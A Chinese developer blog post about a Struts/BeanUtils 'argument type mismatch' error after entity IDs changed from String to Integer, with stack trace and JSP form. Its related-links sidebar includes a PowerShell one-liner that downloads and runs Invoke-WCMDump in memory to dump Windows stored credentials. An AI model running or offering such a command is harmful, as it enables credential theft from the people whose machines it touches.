`
xgia7
  • 浏览: 13775 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

Cannot invoke setId on bean class 'class ' - argument type mismatch - had object

阅读更多
***********************************************************************************
***********************************************************************************
Struts Problem Report
Struts has detected an unhandled exception:

Messages: argument type mismatch
Cannot invoke com.flyoa.entity.IdEntity.setId on bean class 'class com.flyoa.entity.auth.Role' - argument type mismatch - had objects of type "java.lang.String" but expected signature "java.lang.Integer"

File: org/apache/commons/beanutils/PropertyUtilsBean.java
Line number: 2,181
--------------------------------------------------------------------------------
Stacktraces
java.lang.IllegalArgumentException: Cannot invoke com.flyoa.entity.IdEntity.setId on bean class 'class com.flyoa.entity.auth.Role' - argument type mismatch - had objects of type "java.lang.String" but expected signature "java.lang.Integer"
    org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2181)
    org.apache.commons.beanutils.PropertyUtilsBean.setSimpleProperty(PropertyUtilsBean.java:2141)
    org.apache.commons.beanutils.PropertyUtilsBean.setNestedProperty(PropertyUtilsBean.java:1948)
    org.apache.commons.beanutils.PropertyUtilsBean.setProperty
***********************************************************************************
***********************************************************************************

-----------------------------------------------------------------------------------
首先告诉大家上面调试信息是save提交之后,页面返回的错误信息,解释如下:
堆栈跟踪
非法参数异常:不能调用bean类setId“class Role” - 参数类型不匹配 - 有类型的对象“java.lang.String”,
但预期的签名“java.lang.Integer”
-----------------------------------------------------------------------------------
情况是这样的,之前这个工程的实体类的主键全部是用的uuid.hex,数据库也是varchar类型,
后来为了和另外一个项目方便接口,将数据库中的主键id字段全部修改为bigint类型,实体类
也全部修改为Integer类型,所有java类中的id引用(之前是String类型)全部修改为Integer,
单表的增删改查操作是没有问题的,
------------------------------------------------------------------------------------

上面的操作是“当添加一个用户,同时需要将角色关联到这个当前用户”,出现上面的错误,
个人认为出错原因:应该是返回的页面上的,页面上是String类型,而后台java类已经修改了interger,
但是一直在页面上没有找到这个关注点,

下面是save时form表单提交的数据,提交表单的时候需要将role的id先提交,
估计是提交的角色listKey的id没有转换为Integer,
*************************************************************************************
<s:form action="/auth/user!save.action">
<s:if test="id!=null"><s:hidden name="id" /></s:if>

<s:checkboxlist label="%{getText('user.roles')}" name="checkedRoleIds"
list="getAllRoles()"
listKey="id"
listValue="getRoleName()" />
<s:submit value="%{getText('general.save')}" align="center" />
</s:form>
**************************************************************************************
分享到:
评论

相关推荐

    Invoke-WCMDump结合powershell进行密码获取

    Ivoke-WCMDump 什么是Credential Manager...powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1');Invoke-WCMDump

    Python库 | invoke-1.4.1-py2-none-any.whl

    pip install invoke-1.4.1-py2-none-any.whl ``` 一旦安装成功,你就可以在项目中导入并开始定义任务。例如,创建一个简单的`tasks.py`文件: ```python from invoke import task @task def clean(ctx): print(...

    Python库 | js_invoke-1.3.0-py3-none-any.whl

    资源分类:Python库 所属语言:Python 资源全名:js_invoke-1.3.0-py3-none-any.whl 资源来源:官方 安装方法:https://lanzao.blog.csdn.net/article/details/101784059

    JAVA动态对象装配实现 测试--初步实现bean的set/get功能

    通过`DYNC_Object.java`的示例,我们可以学习如何利用反射来实现bean的`set`和`get`操作,这为我们提供了更大的程序设计自由度,使得代码能够适应不断变化的需求。理解并熟练掌握这一技术,对于提升Java开发能力非常...

    java反射 反编译:.class--&gt;.java

    - `method.invoke(obj, args...);`: 调用方法,args是实际的参数值。 3. 访问构造器: - `Constructor[] cons = c.getConstructors();`: 获取所有公共构造器。 - `Constructor&lt;?&gt; cons = c....

    黑马程序员------代理类中invoke方法注意点

    Object invoke(Object proxy, Method method, Object[] args) throws Throwable; } ``` 这个方法会在代理对象上调用任何方法时被调用。参数`proxy`代表代理对象,`method`表示被调用的方法,`args`是方法的参数...

    AutoLISP例程:读取excel文件.doc

    AutoLISP 读取 Excel 文件的关键函数是 vlax-get-or-create-object、vlax-get-property、vlax-invoke-method、vlax-put-property 和 vlax-safearray-type。其中,vlax-get-or-create-object 函数用于创建或获取 ...

    AWS_Invoke-0.0.2-py3-none-any.whl.zip

    标题 "AWS_Invoke-0.0.2-py3-none-any.whl.zip" 暗示了这是一个与Amazon Web Services(AWS)相关的软件包,具体来说是用于调用AWS服务的一个Python库。描述中的内容同样重复了标题,进一步确认了这个压缩包包含了一...

    vue-router-invoke-webpack-plugin:根据文件目录自动生成vue-router的路由

    npm install vue - router - invoke - webpack - plugin - D cnpm cnpm install vue - router - invoke - webpack - plugin - D 纱 yarn add vue - router - invoke - webpack - plugin - D 什么是自动生成路线 ...

    通过java反射实现map与bean之间互转

    public static &lt;T&gt; T mapToBean(Map, Object&gt; map, Class&lt;T&gt; beanClass) throws Exception { if (map == null || beanClass == null) { return null; } T obj = beanClass.newInstance(); Field[] fields = ...

    invoke-atomicredteam-master.zip

    《网络安全红队资源:Invoke-AtomicRedTeam深度解析》 在网络安全领域,红队与蓝队的对抗犹如猫鼠游戏,不断提升着攻击与防御的技术水平。"Invoke-AtomicRedTeam"是一个专门针对红队行动的工具集,它为网络安全专家...

    Invoke-WCMDump-master1.rar

    使用 Invoke-WCMDump 加powershell 获取windows凭证密码 使用文档地址:https://blog.csdn.net/caperxi/article/details/117775522

    react-native-invoke-app:将 React Native App 从 Headless JS 带到前台

    0.60$ react-native link react-native-invoke-app用法 import invokeApp from 'react-native-invoke-app' ;// Within your headless functioninvokeApp ( ) ;高级用法您可以将对象传递给invokeApp方

    java bean和map之间的互转

    public static Map, Object&gt; beanToMap(Object bean) throws Exception { Map, Object&gt; map = new HashMap(); Class&lt;?&gt; clazz = bean.getClass(); for (Method method : clazz.getMethods()) { if (method....

    PyPI 官网下载 | invoke-1.4.1-py2-none-any.whl

    资源来自pypi官网。 资源全名:invoke-1.4.1-py2-none-any.whl

    Invoke-ARPScan.ps1

    Invoke-ARPScan.ps1

    Invoke反射

    【Invoke反射】是一种在.NET框架中使用的重要编程技术,它属于C#或.NET中的动态编程范畴,主要基于System.Reflection命名空间。反射允许程序在运行时检查自身的信息,并且能够动态地创建对象、调用方法、访问属性和...

    Invoke-Parallel-源码.rar

    Invoke-Parallel -InputObject $items -ScriptBlock { Param($item) # 在这里编写你的脚本 Write-Output "正在处理$item" } ``` 在这个例子中,`$items`数组中的每个元素都会被传递给`ScriptBlock`,并在独立的...

Global site tag (gtag.js) - Google Analytics